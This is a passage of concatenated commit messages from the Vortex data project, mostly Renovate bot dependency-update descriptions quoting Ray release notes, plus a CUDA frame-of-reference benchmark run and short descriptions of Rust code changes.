([#&#8203;57931](https://redirect.github.com/ray-project/ray/pull/57931))
- Enhanced ray.get thread safety
([#&#8203;57911](https://redirect.github.com/ray-project/ray/pull/57911))
- Making concurrent ray.get requests for the same object thread-safe
([#&#8203;58606](https://redirect.github.com/ray-project/ray/pull/58606))
- Move request ID creation to worker to address plasma get perf
regression
([#&#8203;58390](https://redirect.github.com/ray-project/ray/pull/58390))
- Make GlobalState lazy initialization thread-safe
([#&#8203;58182](https://redirect.github.com/ray-project/ray/pull/58182))
- Reporter agent can get PID via RPC to raylet
([#&#8203;57004](https://redirect.github.com/ray-project/ray/pull/57004))
- Add tee logging for subprocess exit codes in ray start --block
([#&#8203;57982](https://redirect.github.com/ray-project/ray/pull/57982))
- Add entrypoint log for jobs
([#&#8203;58300](https://redirect.github.com/ray-project/ray/pull/58300))
- Cleaner error message for exceeding list actors limit
([#&#8203;58255](https://redirect.github.com/ray-project/ray/pull/58255))
- Clean up NODE\_DIED task error message
([#&#8203;58638](https://redirect.github.com/ray-project/ray/pull/58638))
- Improved histogram metrics midpoint calculation
([#&#8203;57948](https://redirect.github.com/ray-project/ray/pull/57948))
- Migrated from STATS to metric interface in RPC components
([#&#8203;57926](https://redirect.github.com/ray-project/ray/pull/57926))
- Kill STATS in core worker component
([#&#8203;58060](https://redirect.github.com/ray-project/ray/pull/58060))
- Kill STATS in object manager component
([#&#8203;57974](https://redirect.github.com/ray-project/ray/pull/57974))
- Improve scheduler\_placement\_time\_s metric
([#&#8203;58217](https://redirect.github.com/ray-project/ray/pull/58217))
- Refactor OpenTelemetry environment variable handling
([#&#8203;57910](https://redirect.github.com/ray-project/ray/pull/57910))
- Add option to disable OpenTelemetry SDK error logs
([#&#8203;58257](https://redirect.github.com/ray-project/ray/pull/58257))
- Improved cgroups support
([#&#8203;57776](https://redirect.github.com/ray-project/ray/pull/57776),[
#&#8203;57864](https://redirect.github.com/ray-project/ray/pull/57864),[
#&#8203;57731](https://redirect.github.com/ray-project/ray/pull/57731),[
#&#8203;58017](https://redirect.github.com/ray-project/ray/pull/58017),[
#&#8203;58028](https://redirect.github.com/ray-project/ray/pull/58028),[
#&#8203;58059](https://redirect.github.com/ray-project/ray/pull/58059),[
#&#8203;58064](https://redirect.github.com/ray-project/ray/pull/58064),[
#&#8203;58577](https://redirect.github.com/ray-project/ray/pull/58577))
- Use GetNodeAddressAndLiveness in raylet client pool
([#&#8203;58576](https://redirect.github.com/ray-project/ray/pull/58576))
- Ray Direct Transport improvements with NIXL integration
([#&#8203;57671](https://redirect.github.com/ray-project/ray/pull/57671),[
#&#8203;58550](https://redirect.github.com/ray-project/ray/pull/58550),[
#&#8203;58548](https://redirect.github.com/ray-project/ray/pull/58548),[
#&#8203;56783](https://redirect.github.com/ray-project/ray/pull/56783),[
#&#8203;58263](https://redirect.github.com/ray-project/ray/pull/58263))
- Fix symmetric-run
([#&#8203;58337](https://redirect.github.com/ray-project/ray/pull/58337))
- Make worker connection timeout parameters configurable
([#&#8203;58372](https://redirect.github.com/ray-project/ray/pull/58372))
- Define env for controlling UVloop
([#&#8203;58442](https://redirect.github.com/ray-project/ray/pull/58442))
- Allow 60 seconds for dashboard to start
([#&#8203;58341](https://redirect.github.com/ray-project/ray/pull/58341))
- Report driver stats
([#&#8203;58045](https://redirect.github.com/ray-project/ray/pull/58045))
- Fix idle node termination on object pulling
([#&#8203;57928](https://redirect.github.com/ray-project/ray/pull/57928))
- Check if temp\_dir is subdir of virtualenv to prevent runtime
virtualenv problems
([#&#8203;58084](https://redirect.github.com/ray-project/ray/pull/58084))

🔨 Fixes:

- Fixed use-after-free in RayletClient
([#&#8203;58747](https://redirect.github.com/ray-project/ray/pull/58747))
- Fixed deadlock when cancelling stale requests on in-order actors
([#&#8203;57746](https://redirect.github.com/ray-project/ray/pull/57746))
- Fixed "RayEventRecorder::StartExportingEvents() should be called only
once" error
([#&#8203;57917](https://redirect.github.com/ray-project/ray/pull/57917))
- Fixed raylet shutdown races
([#&#8203;57198](https://redirect.github.com/ray-project/ray/pull/57198))
- Fixed incorrect usage of gRPC streaming API in ray syncer
([#&#8203;58307](https://redirect.github.com/ray-project/ray/pull/58307))
- Fixed log monitor seeking bug after log rotation
([#&#8203;56902](https://redirect.github.com/ray-project/ray/pull/56902))
- Fixed idempotency issues in RequestWorkerLease for scheduled leases
([#&#8203;58265](https://redirect.github.com/ray-project/ray/pull/58265))
- Fixed RAY\_CHECK(inserted) inside reference counter
([#&#8203;58092](https://redirect.github.com/ray-project/ray/pull/58092))
- Fixed static type hints for ActorClass when setting options
([#&#8203;58439](https://redirect.github.com/ray-project/ray/pull/58439))
- Fixed exception type for accelerator ID visibility check
([#&#8203;58269](https://redirect.github.com/ray-project/ray/pull/58269))
- Fixed transport type handling in DAG node initialization
([#&#8203;57987](https://redirect.github.com/ray-project/ray/pull/57987))
- Fixed RAY\_NODE\_TYPE\_NAME handling when autoscaler is in read-only
mode
([#&#8203;58460](https://redirect.github.com/ray-project/ray/pull/58460))
- Ensure client\_call\_manager\_ outlives metrics\_agent\_client\_ in
core worker
([#&#8203;58315](https://redirect.github.com/ray-project/ray/pull/58315))
- Fixed header validation in dashboard tests
([#&#8203;58648](https://redirect.github.com/ray-project/ray/pull/58648))
- Validation of Ray-on-Spark-on-YARN mode to enable it to run
([#&#8203;58335](https://redirect.github.com/ray-project/ray/pull/58335))

📖 Documentation:

- Fix pattern\_async\_actor demo typo
([#&#8203;58486](https://redirect.github.com/ray-project/ray/pull/58486))
- Add limitations of RDT documentation
([#&#8203;58063](https://redirect.github.com/ray-project/ray/pull/58063))
- Add actor+job+node event to ray event export documentation
([#&#8203;57930](https://redirect.github.com/ray-project/ray/pull/57930))
- Remove implementation details from get\_runtime\_context docstring
([#&#8203;58212](https://redirect.github.com/ray-project/ray/pull/58212))
- Improved monitoring section with links
([#&#8203;58472](https://redirect.github.com/ray-project/ray/pull/58472))

🏗 Architecture:

- Refactor ActorInfoAccessor in gcs\_client to be mockable
([#&#8203;57241](https://redirect.github.com/ray-project/ray/pull/57241))
- Refactor reference\_counter out of memory store and plasma store
([#&#8203;57590](https://redirect.github.com/ray-project/ray/pull/57590))
- Remove reference counter mock for real reference counter in testing
([#&#8203;57178](https://redirect.github.com/ray-project/ray/pull/57178))
- Split raylet cython file into multiple files
([#&#8203;56575](https://redirect.github.com/ray-project/ray/pull/56575))
- Move ray\_syncer to top level directory
([#&#8203;58316](https://redirect.github.com/ray-project/ray/pull/58316))
- Move python\_callbacks to common
([#&#8203;57909](https://redirect.github.com/ray-project/ray/pull/57909))
- Consolidate find\_free\_port to network\_utils
([#&#8203;58304](https://redirect.github.com/ray-project/ray/pull/58304))
- Implement event merge logic at export time
([#&#8203;58070](https://redirect.github.com/ray-project/ray/pull/58070))
- Feature flag for enabling ray export event
([#&#8203;57999](https://redirect.github.com/ray-project/ray/pull/57999))
- Add comments explaining ray\_syncer\_ channels in Raylet
([#&#8203;58342](https://redirect.github.com/ray-project/ray/pull/58342))
- Integration tests for task event generation
([#&#8203;57636](https://redirect.github.com/ray-project/ray/pull/57636))

##### Dashboard

💫 Enhancements:

- Added percentage usage graphs for resources
([#&#8203;57549](https://redirect.github.com/ray-project/ray/pull/57549))
- Sub-tabs with full Grafana dashboard embeds on Metrics tab
([#&#8203;57561](https://redirect.github.com/ray-project/ray/pull/57561))
- Added queued blocks to operator panels
([#&#8203;57739](https://redirect.github.com/ray-project/ray/pull/57739))
- Improved operator metrics logging
([#&#8203;57702](https://redirect.github.com/ray-project/ray/pull/57702))
- Make do\_reply accept status\_code instead of success bool
([#&#8203;58384](https://redirect.github.com/ray-project/ray/pull/58384))
- Add denial of fetch headers
([#&#8203;58553](https://redirect.github.com/ray-project/ray/pull/58553))

🔨 Fixes:

- Fixed broken Ray Data per node metrics due to unsupported operator
filter
([#&#8203;57970](https://redirect.github.com/ray-project/ray/pull/57970))
- Filtered out ANSI escape codes from logs
([#&#8203;53370](https://redirect.github.com/ray-project/ray/pull/53370))

📖 Documentation:

- Expose dashboard URL when deploying on Yarn using Skein
([#&#8203;57793](https://redirect.github.com/ray-project/ray/pull/57793))

##### Autoscaler + KubeRay

🎉 New Features:

- KubeRay autoscaling support with top-level Resources and Labels fields
([#&#8203;57260](https://redirect.github.com/ray-project/ray/pull/57260))
- Bundle label selector support in request\_resources SDK
([#&#8203;54843](https://redirect.github.com/ray-project/ray/pull/54843))

💫 Enhancements:

- Azure VM launcher release test
([#&#8203;57921](https://redirect.github.com/ray-project/ray/pull/57921))
- Azure CLI added to base-extra image
([#&#8203;58012](https://redirect.github.com/ray-project/ray/pull/58012))

📖 Documentation:

- Label selector guide
([#&#8203;58157](https://redirect.github.com/ray-project/ray/pull/58157))
- Add minimum version requirement on kai-scheduler
([#&#8203;58161](https://redirect.github.com/ray-project/ray/pull/58161))
- Mention RayJob gang scheduling for Yunikorn
([#&#8203;58375](https://redirect.github.com/ray-project/ray/pull/58375))
- Add Volcano RayJob gang scheduling example
([#&#8203;58320](https://redirect.github.com/ray-project/ray/pull/58320))
- Add KAI scheduler integration documentation
([#&#8203;54857](https://redirect.github.com/ray-project/ray/pull/54857))
- Kuberay sidecar mode
([#&#8203;58273](https://redirect.github.com/ray-project/ray/pull/58273))
- Update RayJob documentation with new DeletionStrategy
([#&#8203;58306](https://redirect.github.com/ray-project/ray/pull/58306))
- Add guidance for RayService initialization timeout
([#&#8203;58238](https://redirect.github.com/ray-project/ray/pull/58238))
- Update version to 1.5.0
([#&#8203;58452](https://redirect.github.com/ray-project/ray/pull/58452))
- Add output example of CLI commands
([#&#8203;58078](https://redirect.github.com/ray-project/ray/pull/58078))
- Fix invalid syntax in label\_selector
([#&#8203;58352](https://redirect.github.com/ray-project/ray/pull/58352))

Thank You to all the Contributors!
[@&#8203;marosset](https://redirect.github.com/marosset),
[@&#8203;curiosity-hyf](https://redirect.github.com/curiosity-hyf),
[@&#8203;bveeramani](https://redirect.github.com/bveeramani),
[@&#8203;Future-Outlier](https://redirect.github.com/Future-Outlier),
[@&#8203;saihaj](https://redirect.github.com/saihaj),
[@&#8203;ZacAttack](https://redirect.github.com/ZacAttack),
[@&#8203;ArthurBook](https://redirect.github.com/ArthurBook),
[@&#8203;crypdick](https://redirect.github.com/crypdick),
[@&#8203;Aydin-ab](https://redirect.github.com/Aydin-ab),
[@&#8203;elliot-barn](https://redirect.github.com/elliot-barn),
[@&#8203;Kunchd](https://redirect.github.com/Kunchd),
[@&#8203;justinvyu](https://redirect.github.com/justinvyu),
[@&#8203;jjyao](https://redirect.github.com/jjyao),
[@&#8203;gangsf](https://redirect.github.com/gangsf),
[@&#8203;sunsetxh](https://redirect.github.com/sunsetxh),
[@&#8203;Daraan](https://redirect.github.com/Daraan),
[@&#8203;justinyeh1995](https://redirect.github.com/justinyeh1995),
[@&#8203;MatthewCWeston](https://redirect.github.com/MatthewCWeston),
[@&#8203;kyuds](https://redirect.github.com/kyuds),
[@&#8203;daiping8](https://redirect.github.com/daiping8),
[@&#8203;sauravvenkat](https://redirect.github.com/sauravvenkat),
[@&#8203;omatthew98](https://redirect.github.com/omatthew98),
[@&#8203;CowKeyMan](https://redirect.github.com/CowKeyMan),
[@&#8203;morotti](https://redirect.github.com/morotti),
[@&#8203;israbbani](https://redirect.github.com/israbbani),
[@&#8203;goutamvenkat-anyscale](https://redirect.github.com/goutamvenkat-anyscale),
[@&#8203;fscnick](https://redirect.github.com/fscnick),
[@&#8203;Zakelly](https://redirect.github.com/Zakelly),
[@&#8203;xyuzh](https://redirect.github.com/xyuzh),
[@&#8203;kouroshHakha](https://redirect.github.com/kouroshHakha),
[@&#8203;owenowenisme](https://redirect.github.com/owenowenisme),
[@&#8203;Qiaolin-Yu](https://redirect.github.com/Qiaolin-Yu),
[@&#8203;czgdp1807](https://redirect.github.com/czgdp1807),
[@&#8203;shen-shanshan](https://redirect.github.com/shen-shanshan),
[@&#8203;wph95](https://redirect.github.com/wph95),
[@&#8203;iamjustinhsu](https://redirect.github.com/iamjustinhsu),
[@&#8203;MengjinYan](https://redirect.github.com/MengjinYan),
[@&#8203;jugalshah291](https://redirect.github.com/jugalshah291),
[@&#8203;Yicheng-Lu-llll](https://redirect.github.com/Yicheng-Lu-llll),
[@&#8203;ryanaoleary](https://redirect.github.com/ryanaoleary),
[@&#8203;nadongjun](https://redirect.github.com/nadongjun),
[@&#8203;xinyuangui2](https://redirect.github.com/xinyuangui2),
[@&#8203;ideal](https://redirect.github.com/ideal),
[@&#8203;my-vegetable-has-exploded](https://redirect.github.com/my-vegetable-has-exploded),
[@&#8203;lucaschadwicklam97](https://redirect.github.com/lucaschadwicklam97),
[@&#8203;tianyi-ge](https://redirect.github.com/tianyi-ge),
[@&#8203;ahao-anyscale](https://redirect.github.com/ahao-anyscale),
[@&#8203;abrarsheikh](https://redirect.github.com/abrarsheikh),
[@&#8203;Blaze-DSP](https://redirect.github.com/Blaze-DSP),
[@&#8203;rueian](https://redirect.github.com/rueian),
[@&#8203;thomasdesr](https://redirect.github.com/thomasdesr),
[@&#8203;CaiZhanqi](https://redirect.github.com/CaiZhanqi),
[@&#8203;harshit-anyscale](https://redirect.github.com/harshit-anyscale),
[@&#8203;jeffreyjeffreywang](https://redirect.github.com/jeffreyjeffreywang),
[@&#8203;TimothySeah](https://redirect.github.com/TimothySeah),
[@&#8203;codope](https://redirect.github.com/codope),
[@&#8203;sampan-s-nayak](https://redirect.github.com/sampan-s-nayak),
[@&#8203;andrewsykim](https://redirect.github.com/andrewsykim),
[@&#8203;xingsuo-zbz](https://redirect.github.com/xingsuo-zbz),
[@&#8203;aslonnie](https://redirect.github.com/aslonnie),
[@&#8203;OneSizeFitsQuorum](https://redirect.github.com/OneSizeFitsQuorum),
[@&#8203;ryankert01](https://redirect.github.com/ryankert01),
[@&#8203;Sparks0219](https://redirect.github.com/Sparks0219),
[@&#8203;soffer-anyscale](https://redirect.github.com/soffer-anyscale),
[@&#8203;akyang-anyscale](https://redirect.github.com/akyang-anyscale),
[@&#8203;alanwguo](https://redirect.github.com/alanwguo),
[@&#8203;chrisfellowes-anyscale](https://redirect.github.com/chrisfellowes-anyscale),
[@&#8203;richo-anyscale](https://redirect.github.com/richo-anyscale),
[@&#8203;alexeykudinkin](https://redirect.github.com/alexeykudinkin),
[@&#8203;JasonLi1909](https://redirect.github.com/JasonLi1909),
[@&#8203;ruisearch42](https://redirect.github.com/ruisearch42),
[@&#8203;EkinKarabulut](https://redirect.github.com/EkinKarabulut),
[@&#8203;MarcoGorelli](https://redirect.github.com/MarcoGorelli),
[@&#8203;SolitaryThinker](https://redirect.github.com/SolitaryThinker),
[@&#8203;srinathk10](https://redirect.github.com/srinathk10),
[@&#8203;dayshah](https://redirect.github.com/dayshah),
[@&#8203;richardliaw](https://redirect.github.com/richardliaw),
[@&#8203;pseudo-rnd-thoughts](https://redirect.github.com/pseudo-rnd-thoughts),
[@&#8203;win5923](https://redirect.github.com/win5923),
[@&#8203;axreldable](https://redirect.github.com/axreldable),
[@&#8203;matthewdeng](https://redirect.github.com/matthewdeng),
[@&#8203;ArturNiederfahrenhorst](https://redirect.github.com/ArturNiederfahrenhorst),
[@&#8203;can-anyscale](https://redirect.github.com/can-anyscale),
[@&#8203;khluu](https://redirect.github.com/khluu),
[@&#8203;landscapepainter](https://redirect.github.com/landscapepainter),
[@&#8203;kevin85421](https://redirect.github.com/kevin85421),
[@&#8203;seanlaii](https://redirect.github.com/seanlaii),
[@&#8203;edoakes](https://redirect.github.com/edoakes),
[@&#8203;nrghosh](https://redirect.github.com/nrghosh),
[@&#8203;eicherseiji](https://redirect.github.com/eicherseiji),
[@&#8203;Artimislyy](https://redirect.github.com/Artimislyy),
[@&#8203;cem-anyscale](https://redirect.github.com/cem-anyscale),
[@&#8203;coqian](https://redirect.github.com/coqian),
[@&#8203;chiayi](https://redirect.github.com/chiayi),
[@&#8203;liulehui](https://redirect.github.com/liulehui)

###
[`v2.51.2`](https://redirect.github.com/ray-project/ray/releases/tag/ray-2.51.2)

[Compare
Source](https://redirect.github.com/ray-project/ray/compare/ray-2.51.1...ray-2.51.2)

- Fix for CVE-2025-62593: reject Sec-Fetch-\* other browser-specific
headers in dashboard browser rejection logic

###
[`v2.51.1`](https://redirect.github.com/ray-project/ray/releases/tag/ray-2.51.1)

[Compare
Source](https://redirect.github.com/ray-project/ray/compare/ray-2.51.0...ray-2.51.1)

- Reuse previous metadata if transferring the same tensor list with
`nixl`
([#&#8203;58309](https://redirect.github.com/ray-project/ray/pull/58309))

###
[`v2.51.0`](https://redirect.github.com/ray-project/ray/releases/tag/ray-2.51.0)

[Compare
Source](https://redirect.github.com/ray-project/ray/compare/ray-2.50.1...ray-2.51.0)

##### Release Highlights

**Ray Train:**

- Ray Train v2 is now enabled by default! Ray Train v2 provides
usability and stability improvements, as well as new features. For more
details, see the
[REP](https://redirect.github.com/ray-project/enhancements/blob/main/reps/2024-10-18-train-tune-api-revamp/2024-10-18-train-tune-api-revamp.md)
and [Migration
Guide](https://redirect.github.com/ray-project/ray/issues/49454). To
disable Ray Train v2, set the environment variable
`RAY_TRAIN_V2_ENABLED=0`.

**Ray Serve:**

- Application-level autoscaling: Introduces custom autoscaling policies
that operate across all deployments in an application, enabling
coordinated scaling decisions based on aggregate metrics. This is a
significant advancement over per-deployment autoscaling, allowing for
more intelligent resource management at the application level.
- Enhanced autoscaling capabilities with replica-level metrics: Wires up
`AutoscalingContext` with `total_running_requests`,
`total_queued_requests`, and `total_num_requests`, plus adds support for
min, max, and time-weighted average aggregation functions. These
improvements give users fine-grained control to implement sophisticated
custom autoscaling policies based on real-time workload metrics.

##### Ray Libraries

##### Ray Data

🎉 New Features:

- Added enhanced support for Unity Catalog integration
([#&#8203;57954](https://redirect.github.com/ray-project/ray/issues/57954),
[#&#8203;58049](https://redirect.github.com/ray-project/ray/issues/58049))
- New expression evaluator infrastructure for improved query
optimization
([#&#8203;57778](https://redirect.github.com/ray-project/ray/issues/57778),
[#&#8203;57855](https://redirect.github.com/ray-project/ray/issues/57855))
- Support for SaveMode in write operations
([#&#8203;57946](https://redirect.github.com/ray-project/ray/issues/57946))
- Added approximate quantile aggregator
([#&#8203;57598](https://redirect.github.com/ray-project/ray/issues/57598))
- MCAP datasource support for robotics data
([#&#8203;55716](https://redirect.github.com/ray-project/ray/issues/55716))
- Callback-based stat computation for preprocessors and ValueCounter
([#&#8203;56848](https://redirect.github.com/ray-project/ray/issues/56848))
- Support for multiple download URIs with improved error handling
([#&#8203;57775](https://redirect.github.com/ray-project/ray/issues/57775))

💫 Enhancements:

- Improved projection pushdown handling with renamed columns
([#&#8203;58033](https://redirect.github.com/ray-project/ray/issues/58033),
[#&#8203;58037](https://redirect.github.com/ray-project/ray/issues/58037),
[#&#8203;58040](https://redirect.github.com/ray-project/ray/issues/58040),
[#&#8203;58071](https://redirect.github.com/ray-project/ray/issues/58071))
- Enhanced hash-shuffle performance with better retry policies
([#&#8203;57572](https://redirect.github.com/ray-project/ray/issues/57572))
- Streamlined concurrency parameter semantics
([#&#8203;57035](https://redirect.github.com/ray-project/ray/issues/57035))
- Improved execution progress rendering
([#&#8203;56992](https://redirect.github.com/ray-project/ray/issues/56992))
- Better handling of empty columns in pandas blocks
([#&#8203;57740](https://redirect.github.com/ray-project/ray/issues/57740))
- Enhanced support for complex data types and column operations
([#&#8203;57271](https://redirect.github.com/ray-project/ray/issues/57271))
- Reduced memory usage with improved streaming generator backpressure
([#&#8203;57688](https://redirect.github.com/ray-project/ray/issues/57688))
- Enhanced preemption testing and utilities
([#&#8203;57883](https://redirect.github.com/ray-project/ray/issues/57883))
- Improved Download operator display names
([#&#8203;57773](https://redirect.github.com/ray-project/ray/issues/57773))
- Better handling of variable-shaped tensors and tensor columns
([#&#8203;57240](https://redirect.github.com/ray-project/ray/issues/57240))
- Optimized aggregator execution with out-of-order processing by default
([#&#8203;57753](https://redirect.github.com/ray-project/ray/issues/57753))

🔨 Fixes:

- Fixed renamed columns to be appropriately dropped from output
([#&#8203;58040](https://redirect.github.com/ray-project/ray/issues/58040),
[#&#8203;58071](https://redirect.github.com/ray-project/ray/issues/58071))
- Fixed handling of renames in projection pushdown
([#&#8203;58033](https://redirect.github.com/ray-project/ray/issues/58033),
[#&#8203;58037](https://redirect.github.com/ray-project/ray/issues/58037))
- Fixed vLLMEngineStage field name inconsistency for images
([#&#8203;57980](https://redirect.github.com/ray-project/ray/issues/57980))
- Fixed driver hang during streaming generator block metadata retrieval
([#&#8203;56451](https://redirect.github.com/ray-project/ray/issues/56451))
- Fixed retry policy for hash-shuffle tasks
([#&#8203;57572](https://redirect.github.com/ray-project/ray/issues/57572))
- Fixed prefetch loop to avoid blocking on fetches
([#&#8203;57613](https://redirect.github.com/ray-project/ray/issues/57613))
- Fixed empty projection handling
([#&#8203;57740](https://redirect.github.com/ray-project/ray/issues/57740))
- Fixed errors with concatenation of mixed pyarrow native and extension
types
([#&#8203;56811](https://redirect.github.com/ray-project/ray/issues/56811))

📖 Documentation:

- Updated document embedding benchmark to use canonical Ray Data API
([#&#8203;57977](https://redirect.github.com/ray-project/ray/issues/57977))
- Improved concurrency-related documentation
([#&#8203;57658](https://redirect.github.com/ray-project/ray/issues/57658))
- Updated preprocessing and data handling examples

##### Ray Train

🎉 New features

- Turn on Train v2 by default
([#&#8203;57857](https://redirect.github.com/ray-project/ray/issues/57857))
- Top-level `ray.train` aliases for public APIs
([#&#8203;57758](https://redirect.github.com/ray-project/ray/issues/57758))

💫 Enhancements

- Raise clear errors when mixing v1/v2 APIs
([#&#8203;57570](https://redirect.github.com/ray-project/ray/issues/57570))
- JAX backend: add `jax.distributed.shutdown()` for `JaxBackend`
([#&#8203;57802](https://redirect.github.com/ray-project/ray/issues/57802))
- Update `TrainingFailedError` module (

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/vortex-data/vortex).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi43NC41IiwidXBkYXRlZEluVmVyIjoiNDIuNzQuNSIsInRhcmdldEJyYW5jaCI6ImRldmVsb3AiLCJsYWJlbHMiOlsiY2hvcmUiXX0=-->

---------

Signed-off-by: Adam Gutglick <adam@spiraldb.com>
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Adam Gutglick <adam@spiraldb.com>
Example run on an A10:
```
FoR_cuda/u32_FoR/1K     time:   [6.2240 µs 6.2360 µs 6.2574 µs]
                        thrpt:  [609.63 MiB/s 611.72 MiB/s 612.90 MiB/s]
                 change:
                        time:   [−0.1225% +0.7492% +1.6114%] (p = 0.12 > 0.05)
                        thrpt:  [−1.5859% −0.7436% +0.1226%]
                        No change in performance detected.
Found 1 outliers among 10 measurements (10.00%)
  1 (10.00%) high mild
FoR_cuda/u32_FoR/10K    time:   [8.4275 µs 8.4335 µs 8.4386 µs]
                        thrpt:  [4.4146 GiB/s 4.4173 GiB/s 4.4204 GiB/s]
                 change:
                        time:   [−0.2470% −0.0898% +0.0725%] (p = 0.31 > 0.05)
                        thrpt:  [−0.0724% +0.0899% +0.2476%]
                        No change in performance detected.
FoR_cuda/u32_FoR/100K   time:   [11.292 µs 11.324 µs 11.370 µs]
                        thrpt:  [32.765 GiB/s 32.899 GiB/s 32.991 GiB/s]
                 change:
                        time:   [−4.0893% −3.6758% −3.2679%] (p = 0.00 < 0.05)
                        thrpt:  [+3.3783% +3.8161% +4.2637%]
                        Performance has improved.
Found 2 outliers among 10 measurements (20.00%)
  1 (10.00%) low mild
  1 (10.00%) high severe
FoR_cuda/u32_FoR/1M     time:   [15.445 µs 15.526 µs 15.615 µs]
                        thrpt:  [238.57 GiB/s 239.94 GiB/s 241.19 GiB/s]
                 change:
                        time:   [−1.8313% −1.2258% −0.6705%] (p = 0.00 < 0.05)
                        thrpt:  [+0.6751% +1.2410% +1.8655%]
                        Change within noise threshold.
FoR_cuda/u32_FoR/10M    time:   [180.16 µs 180.58 µs 180.79 µs]
                        thrpt:  [206.05 GiB/s 206.30 GiB/s 206.78 GiB/s]
                 change:
                        time:   [+1.0296% +1.4123% +1.6948%] (p = 0.00 < 0.05)
                        thrpt:  [−1.6666% −1.3926% −1.0191%]
                        Performance has regressed.
Found 1 outliers among 10 measurements (10.00%)
  1 (10.00%) low severe
FoR_cuda/u32_FoR/100M   time:   [1.7089 ms 1.7110 ms 1.7139 ms]
                        thrpt:  [217.36 GiB/s 217.73 GiB/s 218.00 GiB/s]
                 change:
                        time:   [−0.3698% −0.0661% +0.3273%] (p = 0.74 > 0.05)
                        thrpt:  [−0.3263% +0.0662% +0.3711%]
                        No change in performance detected.
Found 1 outliers among 10 measurements (10.00%)
  1 (10.00%) high severe
```

---------

Signed-off-by: Alexander Droste <alexander.droste@protonmail.com>
Signed-off-by: Joe Isaacs <joe.isaacs@live.co.uk>
This PR removes some unnecessary work, relying on the previous assertion
that the offsets array is sorted.

Signed-off-by: Adam Gutglick <adam@spiraldb.com>
Adding `ScalarFnArray` meant now canonical can fail

# break

`to_canonical` now return a `VortexResult<Canonical>`
`append_to_builder` now return `VortexResult<()>`

---------

Signed-off-by: Joe Isaacs <joe.isaacs@live.co.uk>
Fixes: vortex-data#5948

Signed-off-by: Connor Tsui <connor.tsui20@gmail.com>
Fixes: vortex-data#5989

Signed-off-by: Connor Tsui <connor.tsui20@gmail.com>
Problem Description:
In the original implementation, even after the limit had decreased to 0
in the previous splits, the iterator would still continue traversing
thousands of subsequent intervals. Although each interval only performed
the `is_some_and` check once, it still incurred unnecessary traversal
overhead.

Solution: This optimization immediately executes `break` when `limit ==
0` is detected, ensuring that subsequent intervals are no longer
traversed.

Signed-off-by: cancaicai <2356672992@qq.com>
…vortex-data#6016)

Improve the Scalar::cast_to_non_extension invariant by adding a
descriptive assert message when called with an Extension dtype. This
keeps the internal contract strict (panic on misuse) while making
debugging easier if the invariant is ever violated.

Signed-off-by: cancaicai <2356672992@qq.com>
…x-data#6019)

This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [wasm-bindgen-futures](https://wasm-bindgen.github.io/wasm-bindgen/)
([source](https://redirect.github.com/wasm-bindgen/wasm-bindgen/tree/HEAD/crates/futures))
| workspace.dependencies | patch | `0.4.56` → `0.4.58` |

---

### Configuration

📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/vortex-data/vortex).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi43NC41IiwidXBkYXRlZEluVmVyIjoiNDIuNzQuNSIsInRhcmdldEJyYW5jaCI6ImRldmVsb3AiLCJsYWJlbHMiOlsiY2hvcmUiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
vortex-data#6021)

This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [ch.qos.logback:logback-classic](http://logback.qos.ch)
([source](https://redirect.github.com/qos-ch/logback),
[changelog](https://logback.qos.ch/news.html)) | `1.5.23` → `1.5.25` |
![age](https://developer.mend.io/api/mc/badges/age/maven/ch.qos.logback:logback-classic/1.5.25?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/ch.qos.logback:logback-classic/1.5.23/1.5.25?slim=true)
|

---

### Configuration

📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/vortex-data/vortex).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi43NC41IiwidXBkYXRlZEluVmVyIjoiNDIuNzQuNSIsInRhcmdldEJyYW5jaCI6ImRldmVsb3AiLCJsYWJlbHMiOlsiY2hvcmUiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:

| Package | Type | Update | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|---|---|
| [cc](https://redirect.github.com/rust-lang/cc-rs) |
workspace.dependencies | patch | `1.2.52` → `1.2.53` |
![age](https://developer.mend.io/api/mc/badges/age/crate/cc/1.2.53?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/cc/1.2.52/1.2.53?slim=true)
|
| [chrono](https://redirect.github.com/chronotope/chrono) |
workspace.dependencies | patch | `0.4.42` → `0.4.43` |
